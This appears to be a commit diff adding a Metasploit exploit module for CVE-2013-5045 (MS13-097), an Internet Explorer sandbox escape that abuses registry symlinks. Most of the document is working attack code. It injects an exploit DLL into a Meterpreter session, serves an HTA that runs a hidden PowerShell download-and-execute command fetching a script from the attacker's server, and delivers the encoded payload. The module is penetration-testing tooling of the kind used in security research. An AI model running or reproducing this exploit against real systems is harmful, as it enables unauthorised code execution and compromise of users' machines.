Add module for CVE-2013-5045
parent
53ab2aefaa
commit
6e122e683a
Binary file not shown.
|
@ -0,0 +1,141 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex'
|
||||||
|
require 'msf/core/exploit/exe'
|
||||||
|
require 'msf/core/exploit/powershell'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Local
|
||||||
|
Rank = GreatRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Powershell
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
include Msf::Post::Windows::Priv
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info( info,
|
||||||
|
'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability in Internet Explorer Sandbox which allows to
|
||||||
|
escape the Enhanced Protected Mode and execute code with Medium Integrity. The
|
||||||
|
vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll
|
||||||
|
component, which can be abused to force medium integrity IE to user influenced keys.
|
||||||
|
By using registry symlinks it's possible force IE to add a policy entry in the registry
|
||||||
|
and finally bypass Enhanced Protected Mode.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'James Forshaw', # Vulnerability Discovery and original exploit code
|
||||||
|
'juan vazquez' # metasploit module
|
||||||
|
],
|
||||||
|
'Platform' => [ 'win' ],
|
||||||
|
'SessionTypes' => [ 'meterpreter' ],
|
||||||
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'IE 8 - 11', { } ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => "Dec 10 2013",
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2013-5045'],
|
||||||
|
['MSB', 'MS13-097'],
|
||||||
|
['BID', '64115'],
|
||||||
|
['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
|
||||||
|
]
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
|
||||||
|
|
||||||
|
mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
|
||||||
|
if mod_handle['return'] == 0
|
||||||
|
fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
|
||||||
|
end
|
||||||
|
|
||||||
|
unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||||
|
fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
Timeout.timeout(datastore['DELAY']) { super }
|
||||||
|
rescue Timeout::Error
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def primer
|
||||||
|
hta_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.hta"
|
||||||
|
session.railgun.kernel32.SetEnvironmentVariableA("HTA_URL", hta_uri)
|
||||||
|
|
||||||
|
html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
|
||||||
|
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri)
|
||||||
|
|
||||||
|
temp = session.sys.config.getenv('TEMP')
|
||||||
|
|
||||||
|
print_status("Loading Exploit Library...")
|
||||||
|
|
||||||
|
session.core.load_library(
|
||||||
|
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"),
|
||||||
|
'TargetFilePath' => temp + "\\CVE-2013-5045.dll",
|
||||||
|
'UploadLibrary' => true,
|
||||||
|
'Extension' => false,
|
||||||
|
'SaveToDisk' => false
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
if request.uri =~ /\.hta$/
|
||||||
|
print_status("Sending hta...")
|
||||||
|
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{get_uri}/#{rand_text_alpha(4 + rand(4))}.psh'))"
|
||||||
|
command = "powershell.exe -w hidden -nop -c #{download_and_run}"
|
||||||
|
hta = <<-eos
|
||||||
|
<script>
|
||||||
|
var command = "cmd.exe /c #{command}";
|
||||||
|
var shell = new ActiveXObject("WScript.Shell");
|
||||||
|
shell.Run(command);
|
||||||
|
</script>
|
||||||
|
eos
|
||||||
|
send_response(cli, hta, {'Content-Type'=>'application/hta'})
|
||||||
|
elsif request.uri =~ /\.psh$/
|
||||||
|
print_status("Sending psh payload...")
|
||||||
|
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
|
||||||
|
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||||
|
elsif request.uri =~ /\.html$/
|
||||||
|
print_status("Sending window close html...")
|
||||||
|
close_html = <<-eos
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
window.open('', '_self', '');
|
||||||
|
window.close();
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
eos
|
||||||
|
send_response(cli, close_html, { 'Content-Type' => 'text/html' })
|
||||||
|
else
|
||||||
|
send_not_found(cli)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_dll
|
||||||
|
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll")
|
||||||
|
dll = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
|
||||||
|
|
||||||
|
dll
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
Loading…
Reference in New Issue